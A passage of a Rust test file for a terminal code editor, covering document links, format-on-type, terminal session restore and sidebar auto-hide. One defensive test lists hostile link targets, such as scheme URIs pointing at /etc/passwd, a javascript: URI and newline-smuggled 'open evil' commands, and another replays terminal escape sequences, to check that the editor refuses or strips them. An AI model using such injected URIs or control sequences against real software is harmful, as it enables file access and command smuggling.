    std::fs::write(tmp.path().join("b.rs"), "fn target() {}\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open_pinned(&tmp.path().join("a.rs")).unwrap();
    app.focus_pane(Pane::Editor);
    let target = lsp_types::Url::from_file_path(tmp.path().join("b.rs")).unwrap();
    app.editor.apply_document_links(
        tmp.path().join("a.rs"),
        vec![DocumentLinkItem {
            line: 0,
            character: 3,
            end_line: 0,
            end_character: 12,
            target: target.to_string(),
        }],
    );
    app.open_document_link(target.as_ref());
    assert_eq!(
        app.editor.path.as_deref().and_then(|p| p.file_name()),
        Some(std::ffi::OsStr::new("b.rs")),
        "the file link opened in the editor"
    );
    // And the editor-side lookup that the click dispatch consults.
    app.editor.open_pinned(&tmp.path().join("a.rs")).unwrap();
    app.editor.apply_document_links(
        tmp.path().join("a.rs"),
        vec![DocumentLinkItem {
            line: 0,
            character: 3,
            end_line: 0,
            end_character: 12,
            target: String::from("https://example.com"),
        }],
    );
    assert_eq!(
        app.editor.document_link_at(0, 5),
        Some("https://example.com")
    );
}

#[test]
fn the_bound_go_to_definition_follows_a_document_link_like_the_builtin() {
    use crate::lsp::manager::DocumentLinkItem;
    // A bound gesture is meant to be able to REPLACE the built-in it mirrors,
    // so it must keep the built-in's #254 precedence: a server-resolved
    // document link outranks Go to Definition at that spot, because a URL in
    // a comment has no definition at all. `trigger_definition_at` checks the
    // link first; the bound command jumped straight to the LSP request, so
    // rebinding ctrl+click silently regressed link-following.
    //
    // Observable is a file:// link, which opens the target in the editor --
    // fully inert. A web link would reach `open_url` and launch a browser.
    let tmp = tempfile::tempdir().unwrap();
    std::fs::write(tmp.path().join("a.rs"), "// link here\n").unwrap();
    std::fs::write(tmp.path().join("b.rs"), "fn target() {}\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open_pinned(&tmp.path().join("a.rs")).unwrap();
    app.focus_pane(Pane::Editor);
    let backend = ratatui::backend::TestBackend::new(120, 40);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    term.draw(|f| app.render(f)).unwrap();

    let target = lsp_types::Url::from_file_path(tmp.path().join("b.rs")).unwrap();
    app.editor.apply_document_links(
        tmp.path().join("a.rs"),
        vec![DocumentLinkItem {
            line: 0,
            character: 3,
            end_line: 0,
            end_character: 12,
            target: target.to_string(),
        }],
    );

    let area = app.editor.last_inner;
    assert!(area.width > 6 && area.height > 1, "editor must be laid out");
    // Text starts past the line-number gutter: `buffer_pos_at` computes
    // `last_inner.x + last_gutter_width + 1`, so a column measured from
    // `area.x` alone lands in the gutter and resolves to the wrong char.
    let text_x = area.x + app.editor.last_gutter_width + 1;
    let (col, row) = (text_x + 5, area.y);
    assert!(
        app.editor.buffer_pos_at(col, row).is_some(),
        "the click must resolve to a buffer position, or nothing downstream runs"
    );
    let (bl, bc) = app.editor.buffer_pos_at(col, row).unwrap();
    assert_eq!(
        app.editor.document_link_at(bl, bc),
        Some(target.as_str()),
        "the clicked cell must sit INSIDE the link range, or this test cannot \
         tell link-following from its absence"
    );

    app.last_mouse_pos = Some((col, row));
    app.run_command(crate::widgets::command_palette::Command::MouseGoToDefinitionAtClick);

    assert_eq!(
        app.editor.path.as_deref().and_then(|p| p.file_name()),
        Some(std::ffi::OsStr::new("b.rs")),
        "the bound Go to Definition must follow the document link first, as \
         `trigger_definition_at` does -- a bound gesture that drops the \
         built-in's link precedence is not a replacement for it"
    );
}

#[test]
fn the_bound_open_link_works_in_the_editor_not_only_the_terminal() {
    use crate::lsp::manager::DocumentLinkItem;
    // `editor` is the DEFAULT `when` region per docs/KEYBINDINGS.md, so the
    // most natural binding a user writes for this command lands there. It
    // consulted only the terminal grid (`terminal_url_click` ->
    // `terminal_file_click`), both of which hit-test `last_inner` of the
    // TERMINAL, so an editor click could never resolve: it reported
    // "No link there" over a link that was there.
    let tmp = tempfile::tempdir().unwrap();
    std::fs::write(tmp.path().join("a.rs"), "// link here\n").unwrap();
    std::fs::write(tmp.path().join("b.rs"), "fn target() {}\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open_pinned(&tmp.path().join("a.rs")).unwrap();
    app.focus_pane(Pane::Editor);
    let backend = ratatui::backend::TestBackend::new(120, 40);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    term.draw(|f| app.render(f)).unwrap();

    let target = lsp_types::Url::from_file_path(tmp.path().join("b.rs")).unwrap();
    app.editor.apply_document_links(
        tmp.path().join("a.rs"),
        vec![DocumentLinkItem {
            line: 0,
            character: 3,
            end_line: 0,
            end_character: 12,
            target: target.to_string(),
        }],
    );

    let area = app.editor.last_inner;
    assert!(area.width > 6 && area.height > 1, "editor must be laid out");
    // Text starts past the line-number gutter: `buffer_pos_at` computes
    // `last_inner.x + last_gutter_width + 1`, so a column measured from
    // `area.x` alone lands in the gutter and resolves to the wrong char.
    let text_x = area.x + app.editor.last_gutter_width + 1;
    let (col, row) = (text_x + 5, area.y);
    let (bl, bc) = app
        .editor
        .buffer_pos_at(col, row)
        .expect("the click must resolve to a buffer position");
    assert_eq!(
        app.editor.document_link_at(bl, bc),
        Some(target.as_str()),
        "the clicked cell must sit inside the link range, or a failure here \
         would mean 'no link' rather than 'the command ignored the editor'"
    );

    app.last_mouse_pos = Some((col, row));
    app.run_command(crate::widgets::command_palette::Command::MouseOpenLinkAtClick);

    assert_eq!(
        app.editor.path.as_deref().and_then(|p| p.file_name()),
        Some(std::ffi::OsStr::new("b.rs")),
        "Open Link at Click must follow an editor document link. It consulted \
         only the terminal, so in the DEFAULT `editor` region it was a \
         permanent no-op that reported {:?}",
        app.status
    );
}

#[test]
fn on_type_formatting_stays_inert_when_disabled_or_unadvertised() {
    // #254 item 4: gated behind editor.format_on_type (default OFF,
    // matching VS Code), and even when on, nothing fires unless a
    // server advertised the trigger set for the language.
    let tmp = tempfile::tempdir().unwrap();
    std::fs::write(tmp.path().join("lib.rs"), "fn main() {\n}\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open_pinned(&tmp.path().join("lib.rs")).unwrap();
    app.focus_pane(Pane::Editor);
    assert!(!app.format_on_type, "off by default");
    app.editor.cursor_row = 1;
    app.editor.cursor_col = 0;
    app.handle_key(key(KeyCode::Char(';'), KeyModifiers::NONE))
        .unwrap();
    app.tick_on_type_formatting();
    assert!(app.on_type_request.is_none(), "disabled: nothing fires");
    assert!(
        app.editor.last_typed.is_none(),
        "the tick consumes the record even while disabled, so enabling \
         the setting later cannot replay a stale trigger"
    );
    // Enable via the settings toggle; still inert because no server has
    // advertised any trigger characters for Rust in this test.
    app.toggle_format_on_type();
    assert!(app.format_on_type);
    assert_eq!(app.status, "Format on Type: on");
    app.handle_key(key(KeyCode::Char(';'), KeyModifiers::NONE))
        .unwrap();
    app.tick_on_type_formatting();
    assert!(
        app.on_type_request.is_none(),
        "no advertised trigger set: the request is never sent"
    );
    assert!(
        app.editor.last_typed.is_none(),
        "each keystroke is examined exactly once"
    );
}

#[test]
fn a_tab_switch_disarms_the_background_tabs_on_type_trigger() {
    // A keystroke and a tab switch can drain in the same input burst, so
    // the tick can run with a different tab active than the one that
    // typed. The record on the now-background tab must be swept, or
    // returning to it minutes later would fire a request for a long-dead
    // keystroke — its per-tab edit_seq still matches, nothing having been
    // edited in between.
    let tmp = tempfile::tempdir().unwrap();
    std::fs::write(tmp.path().join("a.rs"), "fn a() {\n}\n").unwrap();
    std::fs::write(tmp.path().join("b.rs"), "fn b() {\n}\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open_pinned(&tmp.path().join("a.rs")).unwrap();
    app.focus_pane(Pane::Editor);
    app.editor.cursor_row = 1;
    app.editor.cursor_col = 0;
    app.handle_key(key(KeyCode::Char(';'), KeyModifiers::NONE))
        .unwrap();
    assert!(
        app.editor.last_typed.is_some(),
        "keystroke recorded on tab A"
    );
    // Switch to tab B before any tick runs, then tick with B active.
    app.editor.open_pinned(&tmp.path().join("b.rs")).unwrap();
    app.tick_on_type_formatting();
    // Return to tab A: the armed record must be gone.
    app.editor.open_pinned(&tmp.path().join("a.rs")).unwrap();
    assert!(
        app.editor.last_typed.is_none(),
        "the sweep disarms background tabs — returning to one must not \
         replay the pre-switch keystroke"
    );

    // Same hazard one level out: the typing tab is in a split group that
    // loses focus before the tick runs.
    app.handle_key(key(KeyCode::Char(';'), KeyModifiers::NONE))
        .unwrap();
    assert!(app.editor.last_typed.is_some(), "keystroke recorded again");
    app.split_editor_dir(editor_layout::SplitDir::Horizontal, true);
    assert_eq!(app.editor_layout.leaf_count(), 2, "really split");
    app.tick_on_type_formatting();
    let armed = app
        .editor_layout
        .inactive_groups_mut()
        .iter()
        .any(|g| g.editors.iter().any(|e| e.last_typed.is_some()));
    assert!(
        !armed,
        "the sweep reaches editors in inactive split groups too"
    );
}

#[test]
fn a_settings_reload_applies_format_on_type_live() {
    // The live-reload path (save a config file inside croft →
    // remerge_settings → apply_merged_settings) must carry the key like
    // every other allowlisted preference; startup-only application would
    // leave the Settings row showing a provenance whose value is not in
    // force until the next launch.
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    assert!(!app.format_on_type, "off by default");
    let p = crate::prefs::Prefs {
        format_on_type: true,
        ..Default::default()
    };
    app.apply_merged_settings(&p);
    assert!(app.format_on_type, "a reloaded merge turns it on");
    app.apply_merged_settings(&crate::prefs::Prefs::default());
    assert!(!app.format_on_type, "and back off");
}

#[test]
fn an_on_type_reply_applies_only_while_its_buffer_and_tab_are_unmoved() {
    // The four dispositions of a reply. The channel's sender lives in the
    // LSP worker, so the decision is tested through the pure helper the
    // drain loop delegates to.
    let tmp = tempfile::tempdir().unwrap();
    let a = tmp.path().join("a.rs");
    let b = tmp.path().join("b.rs");
    std::fs::write(&a, "fn a() {\n}\n").unwrap();
    std::fs::write(&b, "fn b() {\n}\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open_pinned(&a).unwrap();
    app.focus_pane(Pane::Editor);
    let reply = |id: u64, path: &std::path::Path| crate::lsp::manager::FormatResult {
        request_id: id,
        path: path.to_path_buf(),
        edits: Some(Vec::new()),
        unsupported: false,
    };

    // Nothing armed: any reply is a leftover.
    assert_eq!(
        app.on_type_reply_disposition(&reply(1, &a)),
        OnTypeReply::NotOurs
    );

    // Armed and everything matches.
    app.on_type_request = Some((7, app.editor.edit_seq, a.clone()));
    assert_eq!(
        app.on_type_reply_disposition(&reply(7, &a)),
        OnTypeReply::Apply
    );

    // A superseded id must NOT disarm the newer in-flight request.
    assert_eq!(
        app.on_type_reply_disposition(&reply(6, &a)),
        OnTypeReply::NotOurs,
        "an older reply is ignored without consuming the armed request"
    );
    assert!(
        app.on_type_request.is_some(),
        "the helper never clears; the newer request stays armed"
    );

    // Buffer moved since the request.
    app.on_type_request = Some((7, app.editor.edit_seq.wrapping_sub(1), a.clone()));
    assert_eq!(
        app.on_type_reply_disposition(&reply(7, &a)),
        OnTypeReply::Stale,
        "edits computed against text that has since changed are dropped"
    );

    // Reply is for a different file than the one requested.
    app.on_type_request = Some((7, app.editor.edit_seq, a.clone()));
    assert_eq!(
        app.on_type_reply_disposition(&reply(7, &b)),
        OnTypeReply::Stale,
        "a reply for another path never applies to this tab"
    );

    // The requested tab is no longer active: edit_seq is per-tab, so the
    // counter alone would compare two unrelated buffers.
    app.editor.open_pinned(&b).unwrap();
    app.on_type_request = Some((7, app.editor.edit_seq, a.clone()));
    assert_eq!(
        app.on_type_reply_disposition(&reply(7, &a)),
        OnTypeReply::Stale,
        "the tab that typed must still be the active one"
    );
}

#[test]
fn a_document_link_refuses_a_non_web_scheme_and_records_nav_history() {
    use crate::lsp::manager::DocumentLinkItem;
    // The target comes from a language server and the text it decorates says
    // nothing about where it points, so anything but file://, http and https
    // is refused rather than handed to the system opener — the same rule
    // `open_detected_url` applies to terminal OSC 8 links.
    let tmp = tempfile::tempdir().unwrap();
    std::fs::write(
        tmp.path().join("a.rs"),
        "// link here
",
    )
    .unwrap();
    std::fs::write(
        tmp.path().join("b.rs"),
        "fn target() {}
",
    )
    .unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open_pinned(&tmp.path().join("a.rs")).unwrap();
    app.focus_pane(Pane::Editor);

    for hostile in [
        "vscode://file/etc/passwd",
        "VSCode://file/etc/passwd",
        "cursor://file/etc/passwd",
        "javascript:alert(1)",
        "mailto:a@b.c",
        "ssh://host/x",
        "  HTTP-ish-but-not://x",
    ] {
        app.open_document_link(hostile);
        assert!(
            app.status.starts_with("Refused to open non-web link:"),
            "{hostile} must be refused, got {:?}",
            app.status
        );
    }

    // A control character never belongs in a URI, and the relay's own
    // validator rejects one; refuse before anything downstream sees it.
    for malformed in [
        "https://example.com\nopen\tevil",
        "https://exa\u{0}mple.com",
        // The check runs before the branch, so a file:// target carrying one
        // is refused too rather than reaching Url::parse.
        "file:///etc/hosts\nopen\tevil",
    ] {
        app.open_document_link(malformed);
        assert!(
            app.status.starts_with("Refused to open malformed link:"),
            "{malformed:?} must be refused, got {:?}",
            app.status
        );
    }

    // A file:// link still opens, and records where the user was so Back
    // returns to it.
    app.editor.cursor_row = 0;
    app.editor.cursor_col = 4;
    let target = lsp_types::Url::from_file_path(tmp.path().join("b.rs")).unwrap();
    app.editor.apply_document_links(
        tmp.path().join("a.rs"),
        vec![DocumentLinkItem {
            line: 0,
            character: 3,
            end_line: 0,
            end_character: 12,
            target: target.to_string(),
        }],
    );
    app.open_document_link(target.as_ref());
    assert_eq!(
        app.editor.path.as_deref().and_then(|p| p.file_name()),
        Some(std::ffi::OsStr::new("b.rs")),
        "the file link opened"
    );
    let back = app
        .nav
        .back(None)
        .expect("the jump recorded a Back location, like go-to-definition");
    assert_eq!(
        back.path.file_name(),
        Some(std::ffi::OsStr::new("a.rs")),
        "Back returns to the file the link was clicked in"
    );
    assert_eq!((back.row, back.col), (0, 4), "and to the click's caret");

    // URI schemes are case-insensitive (RFC 3986) and `file_ref` already
    // matches them that way; a server spelling it `FILE://` must open, not
    // fall through to the web guard and get refused.
    app.editor.open_pinned(&tmp.path().join("a.rs")).unwrap();
    let upper = target.as_ref().replacen("file://", "FILE://", 1);
    app.open_document_link(&upper);
    assert_eq!(
        app.editor.path.as_deref().and_then(|p| p.file_name()),
        Some(std::ffi::OsStr::new("b.rs")),
        "an upper-case file scheme still opens in the editor"
    );

    // Surrounding whitespace is trimmed rather than smuggled downstream.
    app.editor.open_pinned(&tmp.path().join("a.rs")).unwrap();
    app.open_document_link(&format!("  {}  ", target.as_ref()));
    assert_eq!(
        app.editor.path.as_deref().and_then(|p| p.file_name()),
        Some(std::ffi::OsStr::new("b.rs")),
        "a padded target is normalised, not refused"
    );
}

#[test]
fn editing_drops_stale_document_links() {
    use crate::lsp::manager::DocumentLinkItem;
    // Link ranges are measured against the text the server saw; an edit
    // shifts them, so a Ctrl+click would otherwise follow the wrong span
    // until the next batch lands.
    let tmp = tempfile::tempdir().unwrap();
    let path = tmp.path().join("a.rs");
    std::fs::write(
        &path,
        "// link here
",
    )
    .unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open_pinned(&path).unwrap();
    app.focus_pane(Pane::Editor);
    app.editor.apply_document_links(
        path.clone(),
        vec![DocumentLinkItem {
            line: 0,
            character: 3,
            end_line: 0,
            end_character: 12,
            target: String::from("https://example.com"),
        }],
    );
    assert_eq!(
        app.editor.document_link_at(0, 5),
        Some("https://example.com"),
        "the link is live before the edit"
    );
    app.editor.cursor_row = 0;
    app.editor.cursor_col = 0;
    app.editor.insert_char('x');
    assert_eq!(
        app.editor.document_link_at(0, 5),
        None,
        "the edit dropped the stale ranges"
    );
}

/// #249: after a restart the panes came back in the right directories with
/// the right names — and completely BLANK, which is what the report means by
/// "opens all old terminals empty". The pane's own output is now carried in
/// the session store and repainted above the fresh prompt.
///
/// A real panel (two panes) is used deliberately: a lone unnamed pane at the
/// workspace root is still pruned as the default layout, so that the store
/// does not grow for every directory a shell was ever run in.
#[test]
fn a_restored_terminal_pane_shows_the_output_it_had_before() {
    let tmp = tempfile::tempdir().unwrap();
    let session_path = tmp.path().join("sessions.json");
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.terminal_session_path = session_path.clone();
    app.split_terminal().unwrap();

    // Pin an explicit geometry so the assertions below do not depend on the
    // spawn default. (A pane is born 80x24, so this is not waking a
    // zero-column grid — an earlier comment here claimed that and was wrong.)
    app.terminals[0].resize(80, 24);
    // Put a recognisable line on the pane, as the child would have printed.
    app.terminals[0].feed_bytes_for_test(b"unique-marker-249\r\n");
    app.save_terminal_session();
    let raw = std::fs::read_to_string(&session_path).unwrap();
    assert!(
        raw.contains("unique-marker-249"),
        "the store carries the pane's output: {raw}"
    );

    // A fresh app restores the panel; the marker must be on screen.
    let mut app2 = App::new(tmp.path().to_path_buf()).unwrap();
    app2.terminal_session_path = session_path.clone();
    app2.restore_terminal_session();
    app2.terminals[0].resize(80, 24);
    let (lines, _) = app2.terminals[0].grid_lines();
    assert!(
        lines.iter().any(|l| l.contains("unique-marker-249")),
        "the restored pane repaints its previous output: {lines:?}"
    );
}

/// #298 review: the restored output must sit ABOVE the new shell's prompt.
/// Asserting only that the marker is somewhere on screen passes whether the
/// transcript landed above the prompt, below it, or interleaved — which is
/// exactly what the replay-after-spawn race produced. Painting the preamble
/// before the reader thread starts is what makes the ordering deterministic.
#[test]
fn restored_output_is_painted_above_the_new_prompt() {
    use crate::widgets::terminal::PtyTerminal;
    let tmp = tempfile::tempdir().unwrap();
    let transcript: Vec<String> = (1..=3).map(|i| format!("restored-line-{i}")).collect();
    let t = PtyTerminal::new_with_transcript(tmp.path(), &transcript).unwrap();

    // The preamble is in the grid before the child can write a byte, so the
    // rows are readable immediately — no waiting on the shell.
    let (lines, _) = t.grid_lines();
    let row_of = |needle: &str| lines.iter().position(|l| l.contains(needle));
    let first = row_of("restored-line-1").expect("first restored line is on screen");
    let last = row_of("restored-line-3").expect("last restored line is on screen");
    assert!(
        first < last,
        "the transcript keeps its order: {first} then {last} in {lines:?}"
    );

    // Whatever the shell prints lands on a later row than the restored text.
    let after: Vec<&String> = lines.iter().skip(last + 1).collect();
    assert!(
        after.iter().all(|l| !l.contains("restored-line")),
        "nothing restored appears below the last restored line: {after:?}"
    );
}

/// #298 review: a full-screen program's frame is not scrollback. Quitting
/// with vim or htop open used to persist that frame and replay it as inert
/// text above the next prompt — the alternate screen exists precisely so its
/// contents vanish on exit.
#[test]
fn an_alt_screen_frame_is_not_persisted_as_scrollback() {
    let tmp = tempfile::tempdir().unwrap();
    let session_path = tmp.path().join("sessions.json");
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.terminal_session_path = session_path.clone();
    app.split_terminal().unwrap();
    app.terminals[0].resize(80, 24);

    // Real scrollback first, then a full-screen program takes over.
    app.terminals[0].feed_bytes_for_test(b"real-scrollback-line\r\n");
    app.terminals[0].feed_bytes_for_test(b"\x1b[?1049h");
    app.terminals[0].feed_bytes_for_test(b"FULLSCREEN-TUI-FRAME\r\n");
    assert!(
        app.terminals[0].alt_screen(),
        "the pane is on the alternate screen"
    );

    app.save_terminal_session();
    let raw = std::fs::read_to_string(&session_path).unwrap();
    assert!(
        !raw.contains("FULLSCREEN-TUI-FRAME"),
        "the TUI's frame must not reach the store: {raw}"
    );
}

/// The window keeps the NEWEST lines. An inverted slice would still be
/// bounded and still look right in a small test, so pin the direction.
#[test]
fn the_transcript_window_keeps_the_newest_lines() {
    let tmp = tempfile::tempdir().unwrap();
    let session_path = tmp.path().join("sessions.json");
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.terminal_session_path = session_path.clone();
    app.split_terminal().unwrap();
    app.terminals[0].resize(80, 24);

    let n = crate::terminal_session::TRANSCRIPT_LINES + 50;
    for i in 1..=n {
        app.terminals[0].feed_bytes_for_test(format!("line-{i}\r\n").as_bytes());
    }
    app.save_terminal_session();

    // The store is keyed by workspace root; read it back through the module's
    // own loader rather than reparsing its shape here.
    let store = crate::terminal_session::load(&session_path);
    let rec = store
        .values()
        .next()
        .expect("a session record for this workspace");

    let t = &rec.panes[0].transcript;
    assert!(
        t.len() <= crate::terminal_session::TRANSCRIPT_LINES,
        "bounded to the window: {}",
        t.len()
    );
    let joined = t.join("\n");
    assert!(
        joined.contains(&format!("line-{n}")),
        "the newest line survives"
    );
    assert!(
        !joined.contains("line-1\n") && !joined.ends_with("line-1"),
        "the oldest line was dropped, not the newest"
    );
}

/// A store written before transcripts existed must still load: `serde(default)`
/// is the mechanism, and nothing else pins it.
#[test]
fn a_pane_record_without_a_transcript_still_parses() {
    let rec: crate::terminal_session::PaneRecord =
        serde_json::from_str(r#"{"cwd":"/tmp","name":null}"#).unwrap();
    assert!(rec.transcript.is_empty());
}

/// The transcript is plain text by design: a replay must not be able to
/// re-run a cursor move or a screen clear that the original output carried.
#[test]
fn a_replayed_transcript_cannot_execute_control_sequences() {
    let tmp = tempfile::tempdir().unwrap();
    let app = App::new(tmp.path().to_path_buf()).unwrap();
    // A hostile line: were this fed raw, the erase would wipe the screen and
    // the cursor move would scramble the layout.
    app.terminals[0].replay_transcript(&[String::from("before\u{1b}[2J\u{1b}[Hafter")]);
    let (lines, _) = app.terminals[0].grid_lines();
    let joined = lines.join("\n");
    assert!(
        joined.contains("before") && joined.contains("after"),
        "the text survives: {joined:?}"
    );
    assert!(
        !joined.contains('\u{1b}'),
        "and no escape byte reaches the grid: {joined:?}"
    );
}

/// #260: with auto-hide on, moving focus to the editor collapses the sidebar,
/// and a deliberate sidebar action brings it back and HOLDS it — the reveal
/// must not be undone by the focus change it performs itself.
#[test]
fn auto_hide_collapses_on_editor_focus_and_deliberate_actions_restore_it() {
    let tmp = tempfile::tempdir().unwrap();
    std::fs::write(tmp.path().join("a.rs"), "fn main() {}\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.sidebar_auto_hide = true;
    app.show_tree = true;

    // #302: the collapse is now delivered by the dwell tick rather than by the
    // focus move itself. What this test protects — that focusing the editor
    // DOES collapse, and that deliberate sidebar actions bring it back and
    // hold it — is unchanged; only the moment of the collapse moved.
    app.focus_pane(Pane::Editor);
    assert!(
        app.tick_sidebar_auto_hide_at(
            std::time::Instant::now() + crate::app::sidebar_dwell::AUTO_HIDE_DWELL
        ),
        "the grace delay elapses and the collapse fires"
    );
    assert!(!app.show_tree, "focusing the editor collapses the sidebar");

    // An activity-bar view switch is a deliberate sidebar action: it reveals
    // the sidebar AND lands focus there, so the pin it takes is released by
    // that same focus move — the sidebar stays open because focus is in it,
    // not because it is pinned.
    app.set_sidebar_view(SidebarView::Search);
    assert!(app.show_tree, "choosing a view reveals the sidebar");
    assert!(app.focus == Pane::Tree, "and puts focus in it");
    assert!(
        !app.sidebar_pinned_open,
        "focus landed in the sidebar, so the pin has done its job"
    );

    // Leaving again collapses.
    app.focus_pane(Pane::Editor);
    assert!(
        app.tick_sidebar_auto_hide_at(
            std::time::Instant::now() + crate::app::sidebar_dwell::AUTO_HIDE_DWELL
        ),
        "the collapse fires after the delay"
    );
    assert!(!app.show_tree, "leaving collapses it again");

    // Terminal focus collapses too, not just the editor.
    app.set_sidebar_view(SidebarView::Explorer);
    app.focus_pane(Pane::Tree);
    app.focus_pane(Pane::Terminal);
    assert!(
        app.tick_sidebar_auto_hide_at(
            std::time::Instant::now() + crate::app::sidebar_dwell::AUTO_HIDE_DWELL
        ),
        "and for a terminal too"
    );
    assert!(!app.show_tree, "a terminal is also 'not the sidebar'");
}

/// The flapping cases from #260: a seam drag, an open prompt or menu, and Zen
/// Mode must all suppress the collapse. Each is a state where the sidebar is
/// either being manipulated or deliberately borrowed.
#[test]
fn auto_hide_is_suppressed_while_dragging_prompting_or_in_zen_mode() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.sidebar_auto_hide = true;

    // Baseline: it would collapse.
    app.show_tree = true;
    assert!(app.sidebar_auto_hide_allowed());

    // Mid seam-drag the pointer is over the editor by definition; collapsing
    // under the cursor is exactly the flapping the issue calls out.
    app.splitter_drag = Some(SplitterDrag::Sidebar);
    assert!(!app.sidebar_auto_hide_allowed(), "a drag suppresses it");
    app.focus_pane(Pane::Editor);
    // Tick past the delay: since #302 defers the collapse, asserting
    // `show_tree` right after the focus move is true for any deferring
    // implementation and says nothing about the drag suppression.
    assert!(
        !app.tick_sidebar_auto_hide_at(std::time::Instant::now() + AUTO_HIDE_DWELL),
        "the drag suppresses the collapse even once the window elapses"
    );
    assert!(app.show_tree, "and the sidebar survives the drag");
    app.splitter_drag = None;

    // Zen Mode already owns chrome visibility and wins, as it does today.
    app.zen_mode = true;
    assert!(!app.sidebar_auto_hide_allowed(), "zen mode wins");
    app.zen_mode = false;

    // Off by default: a user who never opted in never loses their sidebar.
    app.sidebar_auto_hide = false;
    assert!(!app.sidebar_auto_hide_allowed());
    app.focus_pane(Pane::Editor);
    assert!(app.show_tree, "opt-in only");
}

/// Reveal-in-explorer targets the sidebar, so it must work even when
/// auto-hide has collapsed it — otherwise the command silently does nothing
/// visible.
#[test]
fn reveal_in_explorer_shows_a_collapsed_sidebar() {
    let tmp = tempfile::tempdir().unwrap();
    let f = tmp.path().join("a.rs");
    std::fs::write(&f, "fn main() {}\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.sidebar_auto_hide = true;
    app.show_tree = true;
    app.focus_pane(Pane::Editor);
    // #302: the collapse arrives on the dwell tick rather than the focus move.
    // What this test protects — that a sidebar-targeting command reveals an
    // ALREADY-COLLAPSED sidebar — is unchanged; it just has to reach that
    // collapsed state the way the app now does.
    app.tick_sidebar_auto_hide_at(
        std::time::Instant::now() + crate::app::sidebar_dwell::AUTO_HIDE_DWELL,
    );
    assert!(!app.show_tree, "collapsed first");

    app.reveal_in_explorer(f);
    assert!(
        app.show_tree,
        "a sidebar-targeting command reveals the sidebar"
    );
}

/// The Customize Layout rows carry hardcoded re-open indices (each toggle
/// reopens the menu with itself selected), so inserting a row in the middle
/// silently mis-selects every row after it. #260's Auto-Hide row is appended
/// after Minimap for that reason; this pins the positions so a future insert
/// fails here rather than in someone's hands.
#[test]
fn customize_layout_toggle_rows_keep_their_reopen_indices() {
    let tmp = tempfile::tempdir().unwrap();
    let app = App::new(tmp.path().to_path_buf()).unwrap();
    let items = app.customize_layout_items();
    let label = |i: usize| match &items[i] {
        MenuEntry::Item { label, .. } => label.clone(),
        _ => panic!("row {i} is not an item"),
    };
    assert!(label(0).contains("Activity Bar"));
    assert!(label(1).contains("Primary Side Bar"));
    assert!(label(2).contains("Secondary Side Bar"));
    assert!(label(3).contains("Panel"));
    assert!(label(4).contains("Status Bar"));
    assert!(label(5).contains("Minimap"));
    assert!(
        label(6).contains("Auto-Hide Side Bar"),
        "the new row is appended, not inserted"
    );
}

/// #294 review: the palette and menu toggles must not drift. Both funnel
/// through one method, so they set the same state and report the same status;
/// previously the menu route set neither the status nor any persistence.
#[test]
fn both_auto_hide_toggle_routes_agree() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    assert!(!app.sidebar_auto_hide, "off by default");

    app.toggle_sidebar_auto_hide();
    assert!(app.sidebar_auto_hide);
    assert!(
        app.status.contains("on"),
        "the toggle reports its new state: {}",
        app.status
    );
    app.toggle_sidebar_auto_hide();
    assert!(!app.sidebar_auto_hide);
    assert!(
        app.status.contains("off"),
        "and reports off: {}",
        app.status
    );
}

/// #294 re-review found the blocker this pins: the pin was set only on the
/// palette route, while a real Cmd+B keypress is handled earlier and returns
/// before `Cmd` dispatch — so the headline reveal gesture revealed the panel
/// and the very next click into the editor collapsed it again. Driving the
/// key event is the whole point; every other test here sets the flag by hand
/// and so could not see it.
#[test]
fn the_real_cmd_b_keypress_reveals_and_holds_the_sidebar() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.sidebar_auto_hide = true;
    app.show_tree = false;

    app.handle_key(key(KeyCode::Char('b'), KeyModifiers::SUPER))
        .unwrap();
    assert!(app.show_tree, "Cmd+B reveals the sidebar");

    // #302: each collapse is now delivered by the dwell tick. The guarantee
    // under test — that the reveal survives the focus move it performs, and is
    // one-shot rather than sticky — is unchanged.
    let dwell = crate::app::sidebar_dwell::AUTO_HIDE_DWELL;
    app.focus_pane(Pane::Editor);
    app.tick_sidebar_auto_hide_at(std::time::Instant::now() + dwell);
    assert!(
        app.show_tree,
        "and the reveal survives the next move to the editor"
    );

    // Still one-shot: the exemption is spent, so the following move collapses.
    app.focus_pane(Pane::Tree);
    app.focus_pane(Pane::Editor);
    app.tick_sidebar_auto_hide_at(std::time::Instant::now() + dwell);
    assert!(!app.show_tree, "the exemption was consumed, not sticky");

    // Ctrl+B is the same gesture on the other platform convention.
    app.handle_key(key(KeyCode::Char('b'), KeyModifiers::CONTROL))
        .unwrap();
    assert!(app.show_tree);
    app.focus_pane(Pane::Editor);
    app.tick_sidebar_auto_hide_at(std::time::Instant::now() + dwell);
    assert!(app.show_tree, "Ctrl+B pins exactly as Cmd+B does");
}

/// A pin taken while the feature is OFF must not be banked: it would sit
/// unconsumed and silently eat the first collapse after the user turns
/// auto-hide on, which reads as "the setting did nothing".
#[test]
fn a_reveal_while_auto_hide_is_off_does_not_bank_an_exemption() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.sidebar_auto_hide = false;
    app.show_tree = false;

